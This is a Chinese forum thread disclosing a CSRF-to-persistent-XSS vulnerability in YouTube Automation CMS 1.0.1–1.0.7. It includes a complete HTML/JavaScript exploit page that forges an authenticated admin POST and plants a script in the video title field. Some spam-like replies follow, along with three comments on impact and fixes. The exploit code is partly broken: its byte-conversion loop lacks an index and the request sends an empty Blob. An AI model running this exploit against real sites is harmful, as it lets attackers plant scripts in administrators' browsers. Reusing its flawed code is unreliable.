YouTube 自动化CMS 1.0.7两处XSS
演示视频:https://youtu.be/cCtThSquNSkCSRF to 持续性 XSS
Version: 1.0.1 to 1.0.7
CSRF Exploit Code:
<html>
<body>
<title> CSRF to Persistent XSS</title>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/admin/videos.php?case=add&youtube_video_url=https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1681718590736");
xhr.withCredentials = true;
var body = "-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"title\"\r\n" +
"\r\n" +
"\"\x3e\x3cscript\x3ealert(/XSSed-By-Arbin/)\x3c/script\x3e\r\n" +
"-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"details\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"category_id\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"thumbnail\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"published\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"duration\"\r\n" +
"\r\n" +
"70\r\n" +
"-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"image\"\r\n" +
"\r\n" +
"https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg\r\n" +
"-----------------------------1681718590736\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------1681718590736--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody = body.charCodeAt(i);
xhr.send(new Blob());
}
</script>
<br><br><br>
<center>
<h2><font color="red"> CSRF to Persistent XSS by Arbin</font></h2>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</center>
</body>
</html>
谢谢分享 APP回复测试
test?http://www.huc08.com//mobcent//app/data/phiz/default/03.pnghttp://www.huc08.com//mobcent//app/data/phiz/default/03.png
http://www.huc08.com/data/appbyme/upload/audio/201610/19/eljvJwuk7uo2.mp3
我他妈一直新手上路
Re: YouTube 自动化CMS 1.0.7两处XSS
这个漏洞报告很清晰,CSRF 结合持久化 XSS 确实危害不小。攻击者可以构造恶意页面欺骗管理员触发,最终在后台写入恶意脚本,影响后续访问的管理员。1.0.1 到 1.0.7 都受影响,范围挺广的。希望官方能尽快修复,比如添加 CSRF token 并对用户输入做过滤/转义。感谢分享,这提醒大家注意后台表单的安全配置。Re: YouTube 自动化CMS 1.0.7两处XSS
感谢分享这个漏洞细节。CSRF 结合持久化 XSS 的利用链确实很典型,如果管理员未启用 CSRF 令牌或来源校验,攻击者很容易通过诱导操作植入恶意脚本。看了你给出的 exploit 代码,title 字段直接插入了闭合引号和 script 标签,触发后应该会在后台管理页面执行任意 JS。请问视频中演示的是否是这类攻击在真实环境下的完整效果?另外,方便透露该 CMS 是否有官方的修复补丁或临时缓解措施吗?Re: YouTube 自动化CMS 1.0.7两处XSS
感谢分享这个漏洞情报。你演示的CSRF攻击链能直接造成持久XSS,看起来title参数没有做任何过滤或转义就直接入库了,影响版本从1.0.1到1.0.7范围也不小。请问你提交给官方后他们有没有给出修复计划或补丁时间表?
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